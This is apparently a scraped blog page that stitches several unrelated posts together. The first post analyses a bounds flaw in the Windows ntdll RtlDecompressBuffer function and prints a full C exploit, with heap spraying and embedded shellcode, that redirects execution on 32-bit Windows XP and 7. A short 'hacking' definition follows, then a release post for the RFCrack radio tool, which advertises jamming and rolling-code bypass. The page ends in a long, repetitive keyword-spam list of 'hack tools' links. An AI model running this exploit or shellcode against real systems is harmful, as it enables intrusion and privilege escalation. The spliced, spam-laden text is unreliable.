Thursday, June 1, 2023

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

 
 
 
int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); } 

The attack vector
 
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Related links


DEFINATION OF HACKING

DEFINATION OF HACKING

Hacking is an attempt to exploit a  computer system vulnerabilities or a private network inside a computer to gain unauthorized acess.
Hacking is identifying and exploiting weakness in computer system and/ or computer networks for finding the vulnerability and loopholes.

Related links


RFCrack Release - A Software Defined Radio Attack Tool

RFCrack uses the following hardware with RFCat libraries:
YardStick One: 
https://goo.gl/wd88sr

I decided to cleanup my RF testing harness and release it as a tool named RFCrack
Mostly because it has been pain to set up use-case scenarios from scratch for every device I am testing. Rather then release a tool no one knows how to use. The below video will be a quick but comprehensive tutorial to get you started If you've been following the blogs, this will greatly simplify your testing, in the following ways:
  • RFCrack handles all of your data conversions. 
  • It allows you to capture, replay and save payloads for use anytime 
  • It will handle rolling code bypass attacks on your devices. 
  • You can jam frequencies and fuzz specific values 
  • It will also allow you to scan specific frequencies in discovery mode or incrementally probe them 
  • RFCrack will hopefully have keyless entry & engine bypass support in the near future

This is the first release, everything works as intended but there will be plenty of updates as I continue to do research and find reasons to add features needed for testing. I am still making changes and making it more flexible with modifiable values and restructuring code.  If you have any legitimate use case scenarios or need a specific value to be modifiable, hit me up and I will do my best to update between research, if its a legitimate use case.

You can reach me at:
Twitter: @Ficti0n
http://cclabs.io , http://consolecowboys.com

GitHub Code for RFCrack:

https://github.com/cclabsInc/RFCrack

Full RF Hacking Course in Development:

Not all of the attacks in the tool have been covered in the RF hacking blog series and a few more are in research mode, as such, not yet added to the tool but will probably be covered in a full length online class on Hacking with RF which includes all targets and equipment.  Send an email to info(at)cclabs.io if your interested.



Walkthrough Training Video:




Until Next time: 

Cheers, and enjoy the tool for your personal use testing devices, feedback and bug reports are appreciated.  I have another RF blog coming out shortly based on my friends research into hacking garages/gates and creating keyfobs.  I will post when its ready. 
Related news
  1. Hack Tools For Pc
  2. Pentest Recon Tools
  3. Hacker Tools Hardware
  4. Pentest Tools Port Scanner
  5. Hack Tools For Games
  6. Hacker Search Tools
  7. Hacking Tools Software
  8. Game Hacking
  9. Bluetooth Hacking Tools Kali
  10. Hackrf Tools
  11. Hacker Tools Github
  12. Pentest Tools Android
  13. Hack Rom Tools
  14. Pentest Box Tools Download
  15. Hack Tools For Ubuntu
  16. Bluetooth Hacking Tools Kali
  17. Kik Hack Tools
  18. Hacking Tools For Beginners
  19. Pentest Tools List
  20. Pentest Tools For Android
  21. Hak5 Tools
  22. Pentest Tools For Ubuntu
  23. Hack Tools For Mac
  24. Pentest Automation Tools
  25. Hack Tools
  26. Best Pentesting Tools 2018
  27. Physical Pentest Tools
  28. Pentest Tools Tcp Port Scanner
  29. Easy Hack Tools
  30. Nsa Hack Tools
  31. Hack Tools For Mac
  32. How To Make Hacking Tools
  33. Hacking Tools Free Download
  34. Hacking Tools For Windows Free Download
  35. Hacking Tools
  36. Pentest Tools For Ubuntu
  37. Hacking Tools Usb
  38. Hacking Tools Pc
  39. Best Hacking Tools 2019
  40. Pentest Tools Linux
  41. Hacker Tools For Ios
  42. Hak5 Tools
  43. Hacker Tools For Windows
  44. Hacker Search Tools
  45. Android Hack Tools Github
  46. Github Hacking Tools
  47. Hacker Tools Free
  48. Pentest Tools Tcp Port Scanner
  49. Hack Tools Github
  50. Hacking Tools Windows
  51. Hacking Tools Github
  52. Top Pentest Tools
  53. Hack Tool Apk
  54. Install Pentest Tools Ubuntu
  55. Hack Apps
  56. Hack And Tools
  57. New Hacker Tools
  58. Hacker
  59. Blackhat Hacker Tools
  60. Pentest Tools Open Source
  61. Hacking Tools Software
  62. Tools Used For Hacking
  63. Hacker Tools Apk Download
  64. Termux Hacking Tools 2019
  65. Hacking Tools Mac
  66. Hack Tools Download
  67. Hacker Tools Apk
  68. Hackers Toolbox
  69. Hack Apps
  70. Hack Tools For Games
  71. Hacking Tools For Pc
  72. Hacking Tools 2020
  73. Pentest Reporting Tools
  74. Best Hacking Tools 2019
  75. Hacking Tools Free Download
  76. Hack Tools For Windows
  77. Pentest Tools Find Subdomains
  78. Best Hacking Tools 2020
  79. Top Pentest Tools
  80. Hack Tools Github
  81. Beginner Hacker Tools
  82. Easy Hack Tools
  83. Hacker Tools Hardware
  84. Hack Tools Pc
  85. Hackers Toolbox
  86. Hack Website Online Tool
  87. Hack Tools For Windows
  88. Ethical Hacker Tools
  89. Hacker
  90. Pentest Tools For Mac
  91. Best Hacking Tools 2019
  92. Hacking Tools Windows
  93. Hacking Tools 2019
  94. Pentest Tools For Windows
  95. Pentest Tools Review
  96. Hacker Tools List
  97. What Is Hacking Tools
  98. Hacking Tools For Windows Free Download
  99. Computer Hacker
  100. Hacker Tools For Windows
  101. Hacking Tools Mac
  102. Best Pentesting Tools 2018
  103. Hacker Tools Linux
  104. Hacker Security Tools
  105. Hacking Tools Windows 10
  106. Pentest Tools Linux
  107. Hak5 Tools
  108. Hacker
  109. Hacking Tools Hardware
  110. Easy Hack Tools
  111. Hack Tools For Pc
  112. Pentest Tools Framework
  113. Pentest Tools Find Subdomains
  114. Pentest Tools Find Subdomains
  115. Hack Website Online Tool
  116. Wifi Hacker Tools For Windows
  117. Pentest Recon Tools
  118. How To Install Pentest Tools In Ubuntu
  119. Easy Hack Tools
  120. Hak5 Tools
  121. Pentest Tools Bluekeep
  122. Pentest Tools Find Subdomains
  123. Pentest Tools Framework
  124. Tools Used For Hacking
  125. Hacking Tools 2020
  126. Install Pentest Tools Ubuntu
  127. Best Hacking Tools 2020
  128. Hacker Tools
  129. Hacking Tools Github
  130. Hacking Tools For Windows Free Download
  131. Hacking Tools And Software
  132. Hack Tools
  133. Github Hacking Tools
  134. Hacks And Tools
  135. Best Hacking Tools 2020
  136. How To Make Hacking Tools
  137. Hacking App
  138. Hacker Tools Free Download
  139. Hacker Tools Free Download
  140. Hacking Tools Usb
  141. Best Hacking Tools 2020
  142. Hack Website Online Tool
  143. Hacker Tools Online
  144. Hack Tools Github